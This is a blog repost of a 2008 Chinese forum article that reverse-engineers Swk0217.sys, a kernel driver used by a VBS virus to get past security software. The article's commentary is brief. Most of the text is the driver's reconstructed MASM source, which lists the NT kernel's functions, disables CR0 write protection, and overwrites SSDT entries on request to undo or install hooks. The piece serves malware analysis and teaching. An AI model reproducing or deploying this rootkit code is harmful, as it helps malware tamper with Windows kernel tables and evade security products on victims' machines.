注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

SSDT Hook  

2012-03-16 13:04:57|  分类: window驱动学习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
标 题: 【原创】RootKit hook之[二] SSDT hook
作 者: combojiang

时 间: 2008-01-12,23:00:47
链 接: http://bbs.pediy.com/showthread.php?t=58199

哈,好大一场雪啊,2008年的第一场雪,比以往来得早些。外面的雪在下,透过书房的窗,欣赏着外面的雪和过往的车辆,欣赏之余,便有了想写点东西的冲动。于是便有了本篇。


谈到ssdt hook,先前有堕落天才的一篇文章《http://bbs1.pediy.com/showthread.php?p=285856#poststop"]SSDT Hook的妙用-对抗ring0 inline hook》大家如果对基本概念不了解的话,可以看看这篇文章。另外,有一篇博客上也绘声绘色的描述了它。简单说说SSDT

今天我们透过一个实例看看它的应用,这个实例来源于sudami前面发出的一篇文章
一VBS病毒过IS和微点了,无语...,夜深人静,我便把里面的Swk0217.sys逆向来看,写得很不错。

该病毒是vbs调用驱动完成的。swk0217d的主要功能是:

1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4。unhook ZwQuerySystemInformation
5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。

.386 
.model flat,stdcall 
option casemap:none 


include w2k\ntstatus.inc 
include w2k\ntddk.inc 

include w2k\ntoskrnl.inc 
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib 
include Swk0207.inc 

.data 
unk_10B80 db 4Eh ; N 
db 0E6h ; ? 
db 40h ; @ 
db 0BBh ; ? 
OldSSDTValueOfZwQuerySystemInformation dd 0 

.code 
; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h 
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h 

;*********************************************************************************************** 
; ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址 
;*********************************************************************************************** 

;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11 
;{ 
; ULONG Reserved[2]; +0 
; PVOID Base; +08h 
; ULONG Size; +0ch 
; ULONG Flags; +10h 
; USHORT Index; +14h 
; USHORT Unknown; +16h 
; USHORT LoadCount; +18h 
; USHORT ModuleNameOffset; +1Ah 
; CHAR ImageName[256]; +1Ch 
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 

;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) 
; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
; IN OUT PVOID SystemInformation, 
; IN ULONG SystemInformationLength, 
; OUT PULONG ReturnLength OPTIONAL ); 

;typedef struct _tagSysModuleList { 
; ULONG ulCount; 
; SYSTEM_MODULE_INFORMATION smi[1]; 
;} SYSMODULELIST, *PSYSMODULELIST; 

;用法如下: 
;s = NtQuerySystemInformation( SystemModuleInformation, pRet, 
;sizeof( SYSMODULELIST ), &nRetSize ); 

xor ebx, ebx 
mov [ebp-24h], ebx 
mov [ebp-4], ebx 

lea eax, [ebp-1Ch] 
push eax ;ReturnLength 
push ebx ;SystemInformationLength = 0 
lea eax, [ebp-20h] 
push eax ;SystemInformation 
push 0Bh ;SystemModuleInformation,遍历模块 
mov esi, ZwQuerySystemInformation 
call esi ; ZwQuerySystemInformation ,第一次调用得到需要的缓冲区长度 

mov [ebp-28h], eax 
cmp eax, 0C0000004h 
jnz ERRORRET 

push 206B6444h ; ' kdD'标签 
push dword ptr [ebp-1Ch] ;申请的长度 
push ebx ;NonPagedPool 
call ExAllocatePoolWithTag 
mov edi, eax 
mov [ebp-30h], edi ;保留返回值 

cmp edi, ebx ;判断返回值是否为空 
jnz NextStep 
or dword ptr [ebp-4], 0FFFFFFFFh 
xor eax, eax 
jmp ErrAllocMem 

NextStep: 
lea eax, [ebp-34h] ;ReturnLength 
push eax 
push dword ptr [ebp-1Ch] ;SystemInformationLength 
push edi ;SystemInformation 
push 0Bh ;SystemModuleInformation 
call esi ; ZwQuerySystemInformation 
mov [ebp-28h], eax 

cmp eax, ebx 
jl ReleaseMemory 

mov eax, [edi] 
mov [ebp-1Ch], eax ;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数 
lea esi, [edi+4] 
mov [ebp-2Ch], esi ;保留返回的SYSTEM_MODULE_INFORMATION数组首地址 
mov [ebp-20h], ebx ;计数变量清零 

FORLOOP: 
mov eax, [ebp-1Ch] ;开始for循环 
cmp [ebp-20h], eax 
jnb ReleaseMemory 
push offset FunctionArray 

; 例如: ImageName: windows\system32\ndis.sys, 那么 ModuleNameOffset 就是 0x11 
movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移 
lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset 
push eax ;不包含路径的名字 
call _stricmp 
pop ecx ;出栈 
pop ecx 
test eax, eax 
jnz ContinueLoop 
mov eax, [esi+8] ;返回SYSTEM_MODULE_INFORMATION.Base 
mov [ebp-24h], eax ;返回值保存在[ebp-24h]单元 

ReleaseMemory: 
push edi 
call ExFreePool 
jmp ERRORRET 

ContinueLoop: 
inc dword ptr [ebp-20h] ;循环变量递增 
add esi, 11Ch ;取下一个SYSTEM_MODULE_INFORMATION类型元素 
mov [ebp-2Ch], esi ;暂存当前的SYSTEM_MODULE_INFORMATION元素 
jmp FORLOOP 


SehFunction proc near 
mov esp, [ebp-18h] 
ERRORRET:: 
or dword ptr [ebp-4], 0FFFFFFFFh 
mov eax, [ebp-24h] 
ErrAllocMem:: 
ret 
SehFunction endp 


;******************************************************************************************** 
; 相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表, 
; 找出pFunctionName的函数地址. 
; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的 
; 索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions 
; 索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数 
; 的地址,不同则继续找... 
;******************************************************************************************** 
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword 

LOCAL AddressOfNameOrdinals:dword;函数名序号表 
LOCAL AddressOfNames:dword ;函数名地址表 
LOCAL OutputTable:dword ;导出表地址 
LOCAL AddressOfFunctions:dword ;指向导出函数地址表中的指针 
LOCAL pFunctionName:dword ;函数名 
LOCAL i:dword ;循环变量 
LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号 
LOCAL CurAddressOfNames:dword ;当前的函数名地址 
LOCAL nIndex:dword ;循环变量 
LOCAL myFoundOutFunctionName:dword ;我们从函数名地址表中找出的函数名指针 
LOCAL InputFunctionName:dword ;输入的函数名指针,指向参数2 
LOCAL SecondCharacterOfFunctionName:byte 
LOCAL FirstCharacterOfFunctionName:byte 

mov edx, hModule 
mov eax, [edx+3Ch] 
add eax, edx ; 指向PEHeader 
cmp word ptr [edx], 5A4Dh ; 'MZ' 
jnz Quit 
cmp dword ptr [eax], 4550h ;'PE' 
jnz Quit 
mov eax, [eax+78h] 
add eax, edx ;指向导出表 
mov OutputTable, eax 

mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames 
add edi, edx 
mov AddressOfNames, edi 

mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions 
add esi, edx 
mov AddressOfFunctions, esi 

mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals 
add ecx, edx 
mov AddressOfNameOrdinals, ecx 

and nIndex, 0 
mov edx, pFunctionName 

StartSearch: 
mov ebx, nIndex 
cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions 
jnb Quit 

cmp dword ptr [esi], 0 ;判断AddressOfFunctions中第一个函数地址是否为空 
jz NextAddressOfFunction ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数 

mov CurAddressOfNames, edi 
mov CurAddressOfNameOrdinals, ecx 
and i, 0 

StartFindFunctionFromAddressOfNames: 
mov ebx, i 
cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames 
jnb OutOfRange 
mov ebx, CurAddressOfNameOrdinals 
movzx ebx, word ptr [ebx] 
cmp ebx, nIndex ;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致 
jnz NextAddressOfNameOrdinals 
mov edx, CurAddressOfNames 
mov edx, [edx] 
add edx, hModule 
mov pFunctionName, edx ;取出函数名 

OutOfRange: 
test edx, edx ;判断是否空 
jz ContinueWork 

mov myFoundOutFunctionName, edx ;暂存函数名 
mov edx, FunctionName 
mov InputFunctionName, edx ;暂存输入的函数名 

CompareFunctionName: 
mov edx, InputFunctionName 
mov dl, [edx] 
mov FirstCharacterOfFunctionName, dl 
mov ebx, myFoundOutFunctionName 
cmp dl, [ebx] 
jnz Different ;不相同 
test dl, dl ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个 
jz RetCurrentFunctionAddress 

mov edx, InputFunctionName ;比对函数名中的下一个字符 
mov dl, [edx+1] 
mov SecondCharacterOfFunctionName, dl 
cmp dl, [ebx+1] 
jnz Different 

add InputFunctionName, 2 
add myFoundOutFunctionName, 2 
test dl, dl 
jnz CompareFunctionName 

RetCurrentFunctionAddress: 
xor edx, edx ;edx = 0,表示找到对应的函数 
jmp GetFunctionAddress 

NextAddressOfNameOrdinals: 
add CurAddressOfNames, 4 
add CurAddressOfNameOrdinals, 2 
inc i 
jmp StartFindFunctionFromAddressOfNames 

Different: 
sbb edx, edx 
sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找 

GetFunctionAddress: 
test edx, edx 
jnz ContinueWork 

mov esi, [esi] 
add esi, hModule 
mov eax, esi ;返回函数地址 
jmp Founded 

ContinueWork: 
xor edx, edx 
mov pFunctionName, edx 

NextAddressOfFunction: 
add esi, 4 
mov AddressOfFunctions, esi 
inc nIndex 
jmp StartSearch 

Quit: 
xor eax, eax 
Founded: 
ret 
GetProcessFromNtoskrnl endp 


;************************************************************************** 
; 给出一个索引值和一个函数地址,修改ssdt表 
;************************************************************************** 
HookSSDTByFunIndex proc Value:dword,Index:dword 

mov ecx, Index 
mov eax, KeServiceDescriptorTable 
cmp ecx, [eax+8] ;NumberOfService 
jb @f 
xor al, al 
jmp Quit 

@@: 
;去掉写保护 
push eax 
mov eax, cr0 
and eax, 0FFFEFFFFh 
mov cr0, eax 
pop eax 

mov eax, KeServiceDescriptorTable 
mov eax, [eax] 
mov edx, Value; Value 
lea ecx, [eax+ecx*4] ; Target 
call InterlockedExchange 

;恢复写保护 
push eax 
mov eax, cr0 
or eax, 10000h 
mov cr0, eax 
pop eax 

Quit: 
ret 
HookSSDTByFunIndex endp 

;************************************************************************** 
; hook ZwQuerySystemInfomation,替换为NtQuerySystemInformation ,返回值为原来的值 
;************************************************************************** 
HookSSDT proc Value:dword,FunAddr:dword 
push eax 
;去掉写保护 
mov eax, cr0 
and eax, 0FFFEFFFFh 
mov cr0, eax 
pop eax 

mov ecx, KeServiceDescriptorTable 
mov eax, FunAddr 
mov eax, [eax+1] ;通过ZwQuerySystemInfomation得到ssdt中的index 
mov ecx, [ecx] ;ServiceTableBase 
mov edx, Value ; Value 
lea ecx, [ecx+eax*4] ; Target 
call InterlockedExchange 
mov ecx, eax 
push eax 

;恢复写保护 
mov eax, cr0 
or eax, 10000h 
mov cr0, eax 

pop eax 
mov eax, ecx 
ret 
HookSSDT endp 


SourceString wchar L(<\\DosDevices\\Swk0217\0>) 


swkUnLoad proc pDriverObject :dword 
LOCAL DestinationString:UNICODE_STRING 

push ecx 
push ecx 
push offset SourceString ; SourceString 
lea eax, DestinationString 
push eax ; DestinationString 
call RtlInitUnicodeString 
lea eax, DestinationString 
push eax ; SymbolicLinkName 
call IoDeleteSymbolicLink 
mov eax, pDriverObject 
push dword ptr [eax+4] ; DeviceObject 
call IoDeleteDevice 

ret 
swkUnLoad endp 

aNtquerysystemi db 'NtQuerySystemInformation',0 

DispatchFunction: 
push esi 
mov esi, [esp+0Ch] ;pIrp 
mov eax, [esi+60h] ;取IRP.CurrentStackLocation 

and dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc 
and dword ptr [esi+1Ch], 0 

cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction 
mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffer 
mov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength 
push edi 
jnz CreateAndClose 
mov eax, [eax+0Ch] ;IoControlCode 
cmp eax, 83471060h 
jz GetSSDTNum ;获取ssdt函数个数 
cmp eax, 83471064h 
jz GetSSDTFunction ;获取ssdt函数表 
cmp eax, 83471068h 
jz HookZwQuerySystemInformation ;hook ZwQuerySystemInformation 
cmp eax, 8347106Ch 
jz RestoreHookSSDT ;恢复前面hook的ZwQuerySystemInformation 
cmp eax, 83471070h 
jz ModifySSDTByFunIndex ;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表 
mov dword ptr [esi+18h], 0C000000Dh ;IoStatus 
jmp CreateAndClose 

ModifySSDTByFunIndex: 
push 8 
pop edi 
cmp ecx, edi ;判断InputBufferLength是否等于8 
jnz CreateAndClose 
push dword ptr [edx+4] ;SystemBuffer中第二个dword值,代表一个ssdt表中的索引 
push dword ptr [edx] ;;SystemBuffer中第一个dword值,代表一个给定的函数地址 
call HookSSDTByFunIndex 
test al, al 
jz CreateAndClose 
mov [esi+1Ch], edi 
jmp CreateAndClose 

RestoreHookSSDT: ;恢复ssdt表 
mov eax, OldSSDTValueOfZwQuerySystemInformation 
test eax, eax 
jz CreateAndClose 
mov ecx, ZwQuerySystemInformation 
cmp eax, ecx 
jz HaveDone 
push ecx 
push eax 
call HookSSDT 

HaveDone: 
and OldSSDTValueOfZwQuerySystemInformation, 0 
jmp CreateAndClose 

HookZwQuerySystemInformation: 
call near ptr FunctionArray+0Eh ;执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址 
test eax, eax 
jz CreateAndClose 
push offset aNtquerysystemi ; "NtQuerySystemInformation" 
push eax 
call GetProcessFromNtoskrnl 
mov ecx, ZwQuerySystemInformation 
cmp eax, ecx 
jz CreateAndClose 
push ecx 
push eax 
call HookSSDT 
mov OldSSDTValueOfZwQuerySystemInformation, eax ;保存原ssdt表中函数地址 
jmp CreateAndClose 

GetSSDTFunction: 
mov eax, KeServiceDescriptorTable 
mov edi, [eax+8] ;NumberOfService 
push ebx 
mov ebx, edi 
shl ebx, 2 ;NumberOfService*4 
cmp ecx, ebx ;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够 
pop ebx 
jb CreateAndClose 
xor ecx, ecx 
test edi, edi 
jbe GetSSDTFunctionErr 

GetNextSSDTFunction: 
mov eax, [eax] 
mov eax, [eax+ecx*4] 
mov [edx+ecx*4], eax 
mov eax, KeServiceDescriptorTable 
inc ecx 
cmp ecx, [eax+8] 
jb GetNextSSDTFunction 

GetSSDTFunctionErr: 
mov eax, [eax+8] 
shl eax, 2 
jmp Quit 

GetSSDTNum: 
push 4 
pop eax 
cmp ecx, eax ;输入长度<4跳转 
jb CreateAndClose 
mov ecx, KeServiceDescriptorTable 
mov ecx, [ecx+8] ;NumberOfService 
mov [edx], ecx ;edx指向IRP.AssociatedIrp.SystemBuffer 

Quit: 
mov [esi+1Ch], eax 

CreateAndClose: 
mov edi, [esi+18h] ;IoStatus 
xor dl, dl 
mov ecx, esi 
call IofCompleteRequest 
mov eax, edi 
pop edi 
pop esi 
ret 


wcharDeviceName wchar L(<\\Device\\Swk0217\0>) 
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>) 


start proc DriverObject:dword 
LOCAL SymbolicLinkName:UNICODE_STRING 
LOCAL DestinationString:UNICODE_STRING 
LOCAL DeviceObject:dword 

and DeviceObject, 0 
push esi 
push edi 
mov edi, RtlInitUnicodeString 
push offset wcharDeviceName ; SourceString 
lea eax, DestinationString 
push eax ; DestinationString 
call edi ; RtlInitUnicodeString 
mov esi, DriverObject 
lea eax, DeviceObject 
push eax ; DeviceObject 
push 0 ; Exclusive 
push 0 ; DeviceCharacteristics 
push 598347h ; DeviceType 
lea eax, DestinationString 
push eax ; DeviceName 
push 0 ; DeviceExtensionSize 
push esi ; DriverObject 
call IoCreateDevice 
test eax, eax 
jl @f 
push offset wcharSymbolicLink ; SourceString 
lea eax, SymbolicLinkName 
push eax ; DestinationString 
call edi ; RtlInitUnicodeString 
lea eax, DestinationString 
push eax ; DeviceName 
lea eax, SymbolicLinkName 
push eax ; SymbolicLinkName 
call IoCreateSymbolicLink 
mov ecx, offset DispatchFunction 
mov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL 
mov [esi+40h], ecx ;IRP_MJ_CLOSE 
mov [esi+38h], ecx ;IRP_MJ_CREATE 
mov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad 

@@: 
pop edi 
pop esi 
ret 
start endp 


end start











  评论这张
 
阅读(65)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017